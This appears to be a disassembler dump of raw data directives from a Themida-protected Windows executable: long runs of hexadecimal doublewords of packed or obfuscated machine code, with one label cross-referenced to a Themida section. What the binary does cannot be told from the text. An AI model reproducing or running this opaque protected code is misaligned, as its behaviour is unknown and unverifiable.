		dd 40EB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 28E7C7F0h, 27843010h, 0D0A7BE49h, 0FE8405Ah
		dd 0D8000000h, 4222E7F1h, 45BBF923h, 1F3FABB5h,	66568C9Fh
		dd 5E5ACF8Bh, 8166C08Bh, 83F0F5D1h, 0E4015DBDh,	840F0007h
		dd 45h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 33C35040h, 2C3E92Eh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9B5A64C3h, 0BF0F27D0h
		dd 0FDF8CD2h, 8Eh, 0C7F76600h, 850F0004h, 28Dh,	0BD83D18Bh
		dd 7E42BFDh, 18850F00h,	8A000000h, 277E9D1h, 9E90000h
		dd 60000000h, 0B5CF593Dh, 0F160E8ADh, 2BF3B70Fh, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0AE9EB3Eh, 6000000h,	0BB4F5D4Bh, 79B14D43h, 7B9D8D98h
		dd 0BE07E777h, 0AA67F10h, 78A0F50h, 51000000h, 548B0CB9h
		dd 1C895A3Ch, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0E9AFB5E1h, 0Bh, 6F8DC103h, 0C9C20AFCh
		dd 64352129h, 35FFh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 650AB1C3h, 0AE8h, 0AB166B00h
		dd 6BB97AE6h, 0F41753Ah, 385h, 0D0B70F00h, 2589645Ah, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h
		dd 0FFCA19Ch, 0A80h, 5E900h, 17C70000h,	8B677558h, 50006AC4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0CD6335C7h, 8100EB01h, 0B9D846DAh, 55006A18h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 270C4F58h, 91EFA181h, 0F78B8397h, 8F6470B6h,	5, 0EDF68100h
		dd 8323B1B0h, 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 524743C3h, 0A4D2A550h, 0B317C4Dh
		dd 0EA840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5950C355h, 0C495EB64h
		dd 0F66030Dh, 88Dh, 28B0F00h, 60000000h, 0E8605061h, 10h
		dd 0C5056387h, 918EAE41h, 0AA145920h, 4A90990Dh, 0F2C68058h
		dd 66615A61h, 8DD79DBAh, 0E472B7BDh, 1B8F507h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 28FCC355h, 0DA03216Fh, 0FFD08B66h, 57006AE7h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0C81FD2CEh, 0C4795536h, 14E9F5h, 0DF150000h,	9BA7CFDBh
		dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 8B57C242h, 8B10245Ch
		dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0D3E28166h, 66606109h, 9BCADE81h, 0B2C08B61h
		dd 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h, 50197400h
		dd 0B8C08B53h, 40Eh, 0EED8589h,	9D8D07E4h, 7E6EA57h, 585BD3FFh
		dd 935BD83h, 740007E4h,	0B8535017h, 40Eh, 0EED8589h, 9D8D07E4h
		dd 7E6E6F8h, 585BD3FFh,	6A9CC680h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC22C357h
		dd 15F3BFD1h, 0E8C08BF5h, 13h, 64540A26h, 92D0C044h, 279E621Ah
		dd 0B48CA4B3h, 0FAE17BDh, 0B86h, 6E900h, 0BC0E0000h, 2E56EF50h
		dd 38BA665Eh, 0EBC28BB8h, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h
		dd 8D07E420h, 0E7CC1085h, 8B088B07h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0E778568Dh, 0FDBD8307h, 7E42Bh, 0F840Fh
		dd 6A600000h, 4195FF00h, 6107E40Eh, 0FFFFC4E9h,	728966FFh
		dd 10CEC1FCh, 2728966h,	5A04CD52h, 78528589h, 0B58B07E7h
		dd 7E77856h, 6610CEC1h,	8B027289h, 0E77856B5h, 72896607h
		dd 858B61FCh, 7E77852h,	0AD958DC3h, 8907E40Bh, 0E4169D95h
		dd 0B5958907h, 0FF07E41Eh, 0E41EB585h, 2D85C607h, 5307E42Ch
		dd 0B148D868h, 9DB5FFFCh, 8D07E401h, 0E43BDC85h, 89D0FF07h
		dd 0E40E4185h, 26858D07h, 8907E770h, 0E4160185h, 0E900EB07h
		dd 5ACh, 5A0E9h, 79FB6800h, 0C8E907E7h,	68FFFD04h, 7E77B52h
		dd 0FD04BEE9h, 7BC768FFh, 0B4E907E7h, 68FFFD04h, 7E77CA6h
		dd 0FD04AAE9h, 7D9368FFh, 0A0E907E7h, 0B2FFFD04h, 0E24B8DAh
		dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h
		dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A5D91Ah
		dd 3DDB73B8h, 6237495Fh, 42A08477h, 0A04B3014h,	11ED1442h
		dd 0A91442A0h, 1442A0D6h, 42A09862h, 0A0631C14h, 0E4AB9442h
		dd 0DC7ACAh, 0B313AEE6h, 337FA520h, 411F3172h, 0A69B86C4h
		dd 0D6E35593h, 96599530h, 29927183h, 475D3BD9h,	0FA77D9B3h
		dd 93A6D305h, 3C5668D1h, 3910485Eh, 8B085856h, 9442CC25h
		dd 0DC76CA33h, 41E2352Ah, 4267B01h, 79510000h, 0D4ADC357h
		dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h,	3FD3EFCAh
		dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A5D9h
		dd 79568312h, 827C2961h, 551442A0h, 0DF41782Ch,	42A09D62h
		dd 80D03914h, 42A07C03h, 5F71DA14h, 0BC506845h,	61B1C9A6h
		dd 0A0FD82FFh, 0F0591442h, 6D4A18DEh, 2D930555h, 4C934C4Ah
		dd 1553192Bh, 4825184Ch, 3AC59C30h, 9BE05BC0h, 386h, 1BF492C4h
		dd 7B916FFBh, 7C96A843h, 0A24F879Fh, 1442A0D8h,	0A42623Bh
		dd 0BD495D3Ch, 0EE90C8E0h, 3E52FA7Dh, 0C043E297h, 0EAACCC84h
		dd 1B53734Ch, 95D16E80h, 65B5CDAAh, 0C0D2EAC7h,	9D3BEB9Eh
		dd 0B997A9BFh, 425A473Ch, 72AA1314h, 0ACA9C6A4h, 2A33F705h
		dd 604BC121h, 264A9AC6h, 0FD5F39CDh, 16591E9Bh,	8CF51442h
		dd 42165A21h, 7B88F814h, 0C7EB84A7h, 6E889AF3h,	6A417991h
		dd 1AF48826h, 365EEDA8h, 47D30D67h, 7E19516Bh, 5D75526Ch
		dd 5F7D5725h, 6025D6CBh, 0CAA1442h, 0E9031531h,	0E2B9F10Fh
		dd 3FB101ADh, 2E0AB4BFh, 6F15B414h, 0B9211D7Dh,	0D0D22854h
		dd 0E07EE0BEh, 0C1D7B506h, 5D95EE89h, 5B7B0C2h,	4B13A652h
		dd 0C8CE8EE2h, 23636A18h, 2CF9Dh, 0AED0A800h, 0B2B041Ah
		dd 6B856177h, 0CEE2C1D7h, 2D49243Ah, 213AC099h,	80962A46h
		dd 0DEF488A6h, 4056EA00h, 4B74B63h, 0DB20D754h,	69AE13A5h
		dd 617956DAh, 667E5B29h, 6886602Eh, 0A05CDFD4h,	27D81442h
		dd 701442B0h, 0AE407896h, 0B1D3110h, 42B06912h,	784E614h
		dd 1442B070h, 406375DEh, 920F5F4Fh, 13A69308h, 0DD89DD46h
		dd 686A1989h, 25AA228h,	451D0000h, 0A0798F23h, 0FAD6EC80h
		dd 57364CE0h, 0BE99AF43h, 0CF350EA2h, 0B9FBB96h, 69FD1BF5h
		dd 0CB5F7553h, 2CC0D8B5h, 0B74CC979h, 2313A5DBh, 79564FDEh
		dd 35972961h, 42A0C3B8h, 14268F14h, 0F6D21DFAh,	0D4B83DCh
		dd 70886503h, 0EE8B9D38h, 0D2EAC7B6h, 8CF2643Eh, 61A8690Dh
		dd 728D687Ah, 63E05B27h, 1D2h, 0A084778Ch, 310F1442h, 0FAD871Bh
		dd 0DEA52233h, 7C1442A0h, 0E782BA13h, 0C7DDBBD5h, 0E000D977h
		dd 5C3A08CEh, 0F984F646h, 666AFA27h, 55E5AE57h,	0AD06505Ch
		dd 0F42C4421h, 43814759h, 7553CA7Ah, 0BF4CB5Fh,	0CCE05BEEh
		dd 5Dh,	6C424DF5h, 0B8719F1Ch, 0BF1F13A6h, 0A6B9BD42h
		dd 0A27D1913h, 5AB34E86h, 0B9F68D0Ah, 0FB6413A6h, 0A5224EA2h
		dd 0F7376A19h, 17B71h, 224FC00h, 5F7F586Eh, 0BFD9B5CBh
		dd 2236152Bh, 819D788Eh, 75EE14EDh, 0D4EA7E9Ah,	3248DCFAh
		dd 94AA3E54h, 580B9FB7h, 0DC542BA8h, 0BD0213A5h, 6377562Eh
		dd 7E0D8A3Ah, 0EC1442A0h, 9F7D4B83h, 55E7C56h, 667E5B71h
		dd 7539572Eh, 0A4EDCBE1h, 0DB76AEC8h, 0FBD8EE82h, 0EF2193E3h
		dd 64A62AB2h, 5422E8FAh, 15C85C7Ah, 0D4E8C765h,	95A1B474h
		dd 94A6C37Ch, 0FD4239B6h, 0A7101442h, 0ABC5A16Fh, 149AF817h
		dd 18320EDCh, 0FDEC8F84h, 1631442h, 42FDFF84h, 0E0F25B14h
		dd 8CDCD2BDh, 0A6DBAD0Fh, 0EA3AA313h, 4355714Ch, 9BEEC765h
		dd 0B84CA5BFh, 9B76C9A2h, 20EE267Fh, 7ADC2C42h,	0A62406FDh
		dd 596BD413h, 0CDEBC593h, 0D1EBC795h, 0DDA21F81h, 7913A624h
		dd 6138FE10h, 0B330802Eh, 14422FE5h, 84F64AB3h,	0E962352Eh
		dd 8E23A9h, 11E90000h, 6C455BEFh, 0C6A2B84Ch, 230218ACh
		dd 8A657B0Fh, 0FB01DA6Eh, 0D76B8762h, 35C9E7C1h, 972B411Fh
		dd 0F88CA481h, 63189545h, 0EF13A5DDh, 20921BAAh, 59810348h
		dd 2F495B84h, 112B0752h, 0ADE53ED9h, 0B2EA02DFh, 84FBAB74h
		dd 24FB8FA7h, 0E05B18DBh, 29431FBDh, 107817h, 77A10000h
		dd 1442A085h, 871B3310h, 1AB9h,	0F4924800h, 32C4FC1Ah
		dd 42A0CEB5h, 0CA238C14h, 0A03CBFB8h, 7A571442h, 94FDCE62h
		dd 24258h, 74C30000h, 245C7E56h, 29617956h, 2F677D5Bh
		dd 31698761h, 346C8863h, 376F8B66h, 3E768A69h, 427A9470h
		dd 437B9B74h, 2CD768EEh, 3C890000h, 59E76824h, 34890000h
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BE240C89h
		dd 2F1E205Fh, 2414F756h, 0EE81465Eh, 0C8FA6645h, 8904EC83h
		dd 4812424h, 424h, 89685900h, 8900007Fh, 8BB241Ch, 1000000h
		dd 5B3389CBh, 592434FFh, 4C481h, 348B0000h, 0E0895024h
		dd 405h, 40500h, 4870000h, 3CE95C24h, 6EFFFCFFh, 0A35999A4h
		dd 4CBEE58Ch, 7E46B88Fh, 0C50307E7h, 51E9D18Bh
		db 3 dup(0)
byte_5BA363	db 60h			; DATA XREF: Themida_:005829C4o
					; Themida_:005844B0o ...
		dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h,	66000000h
		dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h,	8F0F0C7Ah
		dd 15h,	8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch
		dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh
		dd 20EB00h, 7 dup(0)
		dd 0E9000000h, 565h, 559E9h, 81136800h,	98E907E7h, 68FFFCFEh
		dd 7E781D9h, 0FCFE8EE9h, 835168FFh, 84E907E7h, 68FFFCFEh
		dd 7E783BAh, 0FCFE7AE9h, 0DE00D8FFh, 3B5B344Ah,	9BB591A7h
		dd 0FE12F107h, 5D79546Ah, 510AF0C9h, 0B0C65A76h, 0E24B8D6h
		dd 70861A30h, 34E77B93h, 0DF700784h, 99DE13A5h,	6C886301h
		dd 0B2879934h, 28607A56h, 42A0807Bh, 0E364794h,	976CE94Bh
		dd 349442A0h, 18B90F58h, 0D0398A7Ch, 0A1CE3BEh,	30B9605Ch
		dd 0E2000000h, 42A08577h, 0D2AE4C14h, 0C83A6B8h, 1F78946Fh
		dd 8D555DCFh, 83FF7308h, 29169371h, 3513A556h, 902C0DC5h
		dd 0F54E6C2Eh, 429361h,	77220000h, 1442A084h, 7569D94Bh
		dd 627F3114h, 42771EE5h, 0FA53BC14h, 0E4CAC5E8h, 8281794h
		dd 0CD3613A5h, 0D99E1B7Dh, 7513AAF6h, 2A0FF05h,	0A3FC20F8h
		dd 12243817h, 997816F0h, 245C7652h, 491E3089h, 10607A56h
		dd 1D729972h, 1F77FA8Eh, 3FDA126Bh, 3EBA672Dh, 3E6BBDF4h
		dd 0B8948BBBh, 0A7EB0A9Eh, 413AB707h, 0D94421Bh, 0C19E6CA4h
		dd 99F615A9h, 0A248C515h, 3093A63Bh, 449DB994h,	7B9C5F0Ch
		dd 1A2B93A6h, 42CD326Ah, 0A90A5877h, 33000000h,	0CCB33092h
		dd 8A1442A0h, 0A3EC0F21h, 0E759BB0Bh, 0CB14EF4Dh, 0F87FFC49h
		dd 56144236h, 898294EDh, 13A54EA9h, 900252BBh, 0C09F65B2h
		dd 79D974ACh, 0FC4C805Ah, 0AA59F87Fh, 0DBED5613h, 20FD9BFDh
		dd 72967701h, 146DE089h, 1B2F0EDCh, 0DDEF48E3h,	3ACEE6C3h
		dd 9A284724h, 0B5BDE3A9h, 53680F8Ch, 7DE613AAh,	0B77CB24h
		dd 726A14D1h, 2DFAC32h,	91690000h, 0ECC5DB6Fh, 462238CCh
		dd 0A382982Ch, 0AE5FB8Fh, 7B815AEEh, 57EB07E2h,	0B5496741h
		dd 17ABC19Fh, 780C2401h, 0E39815C5h, 6F13A521h,	0AA9E9B2Ah
		dd 2D000002h, 28607A56h, 0C0B73496h, 8E1442A0h,	611A1325h
		dd 0D31442A0h, 1442A0A8h, 93AD8927h, 97B18D5Bh,	596BC45Fh
		dd 42A09C60h, 0A0631C14h, 52F01442h, 92245C76h,	42A06E15h
		dd 2A83EC14h, 6FA7C39Eh, 36C9C2D4h, 821442A0h, 0D442A0F9h
		dd 8077F456h, 4ED442A0h, 0DFB0D3E5h, 7F1D7FCFh,	817A8CA0h
		dd 0D3A58CACh, 32C946A6h, 0A0D3A58Dh, 14A6DE37h, 8D4E35B2h
		dd 0A30CD3A5h, 8D216E91h, 92EAC03Dh, 0FF68D441h, 3277E1ABh
		dd 0EA70B0A2h, 219h, 0A135572Fh, 0FE92B28Bh, 5EF20CE8h
		dd 0C1556948h, 20B4D0ABh, 0CDA8A147h, 2D071DB1h, 87657B0Fh
		dd 0EAC7DD71h, 0DB8B3ED2h, 0A521995Eh, 61F03513h, 11617956h
		dd 0F082B99Fh, 0DE95C1BCh, 0FAA808C4h, 223A1716h, 0E4F64FEAh
		dd 6F48471Eh, 42520DF2h, 760C914h, 2D713AB7h, 0D43D13A5h
		dd 344E2A40h, 94AE8AA0h, 0ADCDA644h, 754EDA75h,	70821D55h
		dd 0F2BCD3AAh, 0AE6225A2h, 9430144Dh, 0CB669EB8h, 6604DE72h
		dd 9A356D8Dh, 50EC8F88h, 711E1B8Dh, 0BB70ED3Dh,	771C6A2Fh
		dd 4320BE0Eh, 0A481972Bh, 24C2548Ch, 0C8A22E48h, 0CC9F98AAh
		dd 8303F5CFh, 0BEE4A311h, 3A8A4E0Eh, 0F5E4C6BDh, 192B9403h
		dd 0C51599F6h, 129AFF48h, 0AAFA6304h, 6434CB48h, 39A20BDCh
		dd 0CEAB4927h, 2F0C22B6h, 4B29C717h, 5062FD35h,	6432DD8Ah
		dd 137C0BDCh, 15CE4B9Bh, 0D90C3B1Bh, 0A5822070h, 6E3F98Dh
		dd 552C9EEEh, 0AFE9A6FDh, 865D2335h, 0D855A509h, 3423F86Bh
		dd 0A03E8EF7h, 0D671A9C5h, 0AE51FEC4h, 1D3B2F06h, 0DB24580Ch
		dd 0FCB0EE6Bh, 0Ch, 0BD847725h,	7571442h, 0E6000000h, 42BA8477h
		dd 424D5414h, 0A003F875h, 53D01442h, 1442A0ACh,	770C12Ah
		dd 2EE15EAEh, 0E413A5DFh, 236C437Bh, 0C19D3B8Bh, 0C2D46FA7h
		dd 0CB9167E4h, 0D63F1441h, 32311482h, 0CB519162h, 0A1h
		dd 19ADCFA7h, 760A2A03h, 0D66A8460h, 39CDE1C0h,	982C4823h
		dd 452039BFh, 0A57F9529h, 0FFDDF387h, 623F55E9h, 5303B64Ah
		dd 0A52321D6h, 0D968AD13h, 16F492h, 0F81B2DC8h,	4AC71797h
		dd 13A5DF81h, 0D5ACE44Dh, 27A4F4BAh, 1441D625h,	0D8F4CF6Bh
		dd 0DBF7D2A0h, 23AF08A3h, 5AF52D47h, 3BF3AD01h,	86C66232h
		dd 3800h, 16381000h, 73936C82h,	0D3EDC9DFh, 364A293Fh
		dd 95B18CA2h, 89C22801h, 0E8FE92AEh, 465CF00Eh,	0A8BE5268h
		dd 6C1FB3CBh, 23B83FBCh, 0D11613A5h, 39E42h, 8D2D0000h
		dd 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
		dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8957EE43h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 242C895Ch, 8904EC83h
		dd 5C682414h, 8900001Ah, 5550240Ch, 0B12B1BBDh,	0DDF74D77h
		dd 8108E5C1h, 0A357B4E5h, 42F58166h, 814B4D29h,	1A1040C5h
		dd 5DE889FAh, 5458C289h, 81240C8Bh, 4C4h, 0BF575200h, 0AE30762h
		dd 4247C01h, 8418F5Fh, 62086981h, 0FF0AE307h, 81592434h
		dd 4C4h, 24148B00h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0E95C243Ch, 0FFFCF957h, 0E6481895h, 17BCA309h, 0BB6052F7h
		dd 17B83C52h, 307E784h,	0E8C88BC5h, 12h, 4F951C56h, 2ABC2803h
		dd 0BFEF6F76h, 5A3E041h, 66593705h, 0C181F38Bh,	739Eh
		dd 0B7CDBAFCh, 0EA816536h, 65369B08h, 830Fh, 31FF0000h
		dd 0B638D681h, 0F587550h, 88h, 84F08100h, 0F1C311Ch, 0E881FAB7h
		dd 6FC66F2Ah, 11E951h, 14E00000h, 0C44F0063h, 38E924FFh
		dd 0B2E0EAF8h, 5E6B771Dh, 0F98EC081h, 0BF0F5417h, 830189D9h
		dd 9E904E9h, 12000000h,	0A17F9C7h, 0C9583EBh, 1EA81h, 850F0000h
		dd 0FFFFFFA2h, 49E9D88Bh, 68000001h, 0E7048D36h, 93DA95ECh
		dd 0DF067158h, 0FDBEB6CFh, 36365D54h, 0BCECA4h,	52C55DD5h
		dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh,	9CACACh
		dd 0FC6C46BFh, 597390ADh, 75D6A336h, 0BD9C72E2h, 93DD0090h
		dd 0A79B8CE6h, 0DD64A592h, 9792A7ABh, 0FC7A918Fh, 96B9F95Ch
		dd 0B59BB1E4h, 0B69F47E4h, 94B6E592h, 0B59EBDF6h, 0EC96B3EBh
		dd 999C93D0h, 0FD7B97BFh, 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh
		dd 0B5D4E594h, 445700C3h, 0B0F3622Dh, 2CAE29h, 340000h
		dd 380000h, 2 dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 20h dup(0)
		dd 1F51E9h, 88696800h, 50E907E7h, 68FFFCF7h, 7E78994h
		dd 0FCF746E9h, 8A3868FFh, 3CE907E7h, 68FFFCF7h,	7E78B2Ch
		dd 0FCF732E9h, 8BE968FFh, 28E907E7h, 68FFFCF7h,	7E78C98h
		dd 0FCF71EE9h, 8D6D68FFh, 14E907E7h, 68FFFCF7h,	7E78E11h
		dd 0FCF70AE9h, 91E568FFh, 0E907E7h, 68FFFCF7h, 7E79266h
		dd 0FCF6F6E9h, 939168FFh, 0ECE907E7h, 68FFFCF6h, 7E796CBh
		dd 0FCF6E2E9h, 9A2368FFh, 0D8E907E7h, 68FFFCF6h, 7E79D9Dh
		dd 0FCF6CEE9h, 9F1268FFh, 0C4E907E7h, 68FFFCF6h, 7E79F8Ah
		dd 0FCF6BAE9h, 9FD568FFh, 0B0E907E7h, 68FFFCF6h, 7E7A039h
		dd 0FCF6A6E9h, 0A1FA68FFh, 9CE907E7h, 68FFFCF6h, 7E7A2D9h
		dd 0FCF692E9h, 0A4BE68FFh, 88E907E7h, 0CAFFFCF6h, 263CD0F2h
		dd 83992D4Dh, 0E3F98DA7h, 465CF004h, 0E2BB4F6Bh, 4C68431Ch
		dd 0AAC8A2B8h, 0C220016h, 6D856278h, 0F97626D9h, 13A52702h
		dd 56FC8BD0h, 5B296179h, 0B3D2667Eh, 582D2DCh, 13A6B38Bh
		dd 7B2860C9h, 13A6B480h, 4E0E3647h, 0D87809B1h,	4626h
		dd 424D4F00h, 0E99F1C6Ch, 0A713A6A9h, 0F8CEE3Eh, 13A6AA68h
		dd 0A56B7DE6h, 2AB9A113h, 0A77ABFF4h, 0C9E39C95h, 553413A6h
		dd 5F3B0941h, 0A92C0D45h, 0B5DB5FDh, 3C74946Dh,	0B2F28FA1h
		dd 77A8F50Ah, 0AFE2D8h,	560B0000h, 5B296179h, 5E2C6480h
		dd 63316981h, 0E5DA6E86h, 1442A459h, 68825EFCh,	6F836230h
		dd 31439C37h, 8E223A17h, 73509B78h, 2F88235Bh, 3F6F20F7h
		dd 0B0F072EFh, 55BE13A6h, 0C1EDA2C1h, 50FBF471h, 4EB71440h
		dd 698560FEh, 0C8E4BFD5h, 32C85674h, 0F177B762h, 1CE7h
		dd 31C5E7BFh, 8E22421Bh, 0EE829C78h, 51E5F9D8h,	0B044603Bh
		dd 5D3811D7h, 0BD97AD41h, 17F50B9Fh, 7A576D01h,	6B1BCE62h
		dd 0A52809EEh, 0F180C513h, 502C7B56h, 0A63FE36h, 6B836076h
		dd 1E9BFDD7h, 1442A059h, 8FC7DBBAh, 0EA3AA3F4h,	42A0966Dh
		dd 0C9DB4414h, 6C424DF4h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h
		dd 12F113A6h, 1BF8C6FEh, 0C58CCB03h, 0A65DDA81h, 3413A6AAh
		dd 91A72CBh, 7DE215Dh, 0DDF7D878h, 20000000h, 29617956h
		dd 5D5D805Bh, 0DCA320ECh, 7A1442C7h, 0D678B111h, 9C4981DAh
		dd 144284A0h, 0E93C15B3h, 21BCF40Ch, 0BF9CB6C8h, 49819574h
		dd 0ABC155AEh, 8BA983CEh, 275FB853h, 0C1B63395h, 8D144285h
		dd 0A0EF1224h, 89E202DBh, 91BABC39h, 0A70913A6h, 0A69A552Ah
		dd 0CDEDC613h, 0E905E07Ch, 0ABBD16B1h, 0E5305CCCh, 42DA77E1h
		dd 0A65C3EC5h, 0DA339C13h, 0C1CEED81h, 80209DEDh, 0D21440BAh
		dd 3AB71969h, 1B894345h, 43EE9512h, 36C1B89h, 593749B2h
		dd 30C4E0BBh, 0CF233F1Ah, 6231E805h, 0BC56DC1Ch, 0EA00001Bh
		dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
		dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h,	199646F9h
		dd 13A52962h, 561CABF0h, 0B5CB5F7Bh, 5B2CC0D8h,	29617956h
		dd 0F26F7E5Bh, 1442A00Dh, 730760C9h, 0D82D44Ch,	6D451A1h
		dd 0D413A68Ch, 5857626Bh, 0E2AF28E2h, 4FB101ADh, 3B8B70EDh
		dd 300CD030h, 4A5CC516h, 0D43A3351h, 2058C1D7h,	18684649h
		dd 0F0063C9Bh, 4CEA4ADFh, 17EC576Fh, 0C3C07879h, 13B1015Ah
		dd 2C0A1C38h, 599B18Eh,	0A6FA12EFh, 9DC2F238h, 1837BDFDh
		dd 8E00001Bh, 0EA0094B6h, 475DF111h, 0A7BD516Bh, 0A20B4C8h
		dd 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh, 3149263Ch
		dd 0BD3AEA9Dh, 13A52AC6h, 56C04F94h, 97296179h,	0CA021EF9h
		dd 95FA1D2Fh, 0C967C919h, 0C9C2D4ECh, 13A6BFE3h, 4D740871h
		dd 4F2ECCD9h, 5668033Bh, 2525C33h, 4293D785h, 0A8258514h
		dd 1B8AEBD3h, 0B08A167Fh, 66BF5A92h, 0C2FB6D5Dh, 0BF44C1CCh
		dd 1B1B8A7Dh, 4B9C52B2h, 0CD352E40h, 90DC3B7Eh,	0C1F919F2h
		dd 9EF11426h, 4822C010h, 0BD3A182Ah, 0C4DF7F5Fh, 1274C42Dh
		dd 1F40EE95h, 2CFC6CCBh, 0F2E11DDFh, 0EAB0C21Bh, 3987E658h
		dd 25F6A4Ch, 0ECC2CDF0h, 0BE9C3A9Ch, 257E9A75h,	474052EDh
		dd 0CCFB2768h, 0DB3D8DF6h, 124A5E3Dh, 2C4A1777h, 0F2421071h
		dd 0CAE9C6E0h, 0BA43A9B6h, 53E740E6h, 0F448603Dh, 8ABC7CF4h
		dd 248F1555h, 8200001Ah, 0DEF488AAh, 3B51E505h,	9BB1455Fh
		dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh
		dd 253D1A30h, 0B12EDE91h, 13A52BCAh, 56B44388h,	36542E79h
		dd 0D20A63FEh, 0CA1A94FBh, 0D5EDCA68h, 81F0CAC3h, 0F55E13A6h
		dd 0C8D93A61h, 21334F2Ah, 0CD1D91FEh, 0D9EFCD6Bh, 0FBF406A1h
		dd 1442AD2Dh, 65855EFCh, 20B7453h, 225556F7h, 0B7D887h
		dd 33A5FC83h, 98F15AB8h, 0A4ADCB48h, 0D23BBFD7h, 1981082h
		dd 0DC5881B1h, 7604D253h, 13257E3Fh, 411DBB4Dh,	9DF21527h
		dd 6744C111h, 0F3A7F37Ah, 0BF9C3A8Ah, 20FD13A7h, 973F9C01h
		dd 0B912B5E4h, 0C3B28D65h, 0A90D0B5h, 1967h, 0B145673Fh
		dd 0EA2C29Bh, 6E021CF8h, 0D1657958h, 30C4E0BBh,	0DDB89157h
		dd 3D172DC1h, 97758B1Fh, 0FAD7ED81h, 0EB9B4EE2h, 0A52B896Eh
		dd 71004513h, 29617956h, 21713D52h, 0A6833AA4h,	9FEF5813h
		dd 843BC03Dh, 0FB9713A6h, 97A90222h, 0D8C14E75h, 8402F976h
		dd 67D013A6h, 515D3255h, 0A8D68401h, 1B841442h,	28B02212h
		dd 8FE5810Ah, 651A97E7h, 0F11B8AF5h, 687D7688h,	0F6E6C841h
		dd 48C51599h, 1EADAB2Ah, 8DFF4FB8h, 69682055h, 6127394Ah
		dd 59A9058Ah, 49B0FFDCh, 0D2228B07h, 0AB3F5734h, 4CA0B895h
		dd 552A65B0h, 0B8FB81C1h, 0EE000018h, 4A60F416h, 0A7BD5171h
		dd 71DB1CBh, 6A801428h,	6DF738Fh, 708C67E0h, 0CEECC6DCh
		dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A52C66h, 5620AFF4h
		dd 52296179h, 0A421713Dh, 13A6ABF6h, 122A07A5h,	68B82100h
		dd 0C4D6ECCAh, 0B50B7BA2h, 9B60DDDAh, 0FC13A6ACh, 4AB30422h
		dd 2503A1F1h, 0A21FFD0Fh, 144280F4h, 132706A2h,	14A6B1BAh
		dd 0F688426Eh, 0EF03E299h, 0ABC94696h, 39B03790h, 6E280D0h
		dd 0A522B4ECh, 0BF3792DEh, 2EBA137Ch, 61273951h, 9C76058Ah
		dd 0B7EFD077h, 35C4FEEh, 87D730CBh, 0D3F2AD0Ah,	0DB58BAB8h
		dd 0A71B0524h, 2ED552B2h, 0ACA71B05h, 0F9D8EA43h, 0C5A24090h
		dd 0FE90B9A6h, 156EFB72h, 768E6B81h, 0A4AAE422h, 0DB61A1BEh
		dd 17E3h, 35C9EBC3h, 9226461Fh,	0F286A07Ch, 55E9FDDCh
		dd 0B448643Fh, 613C15DBh, 0C19BB145h, 1BF90FA3h, 7E5B7105h
		dd 6F1FD266h, 0A52D0DF2h, 0F584C913h, 29617956h, 0FD7A3D52h
		dd 1442A006h, 52A3BD99h, 0DE4090E9h, 0D9566140h, 1442A022h
		dd 0B6EE47B0h, 9410091Bh, 0DE13A525h, 0AA872575h, 0B224FE92h
		dd 8AAB3C4Eh, 0D5CEE078h, 13A5DCBEh, 811599F8h,	142C09A7h
		dd 0F30BE802h, 5F4F405Fh, 5912920Fh, 0F7601442h, 103009A7h
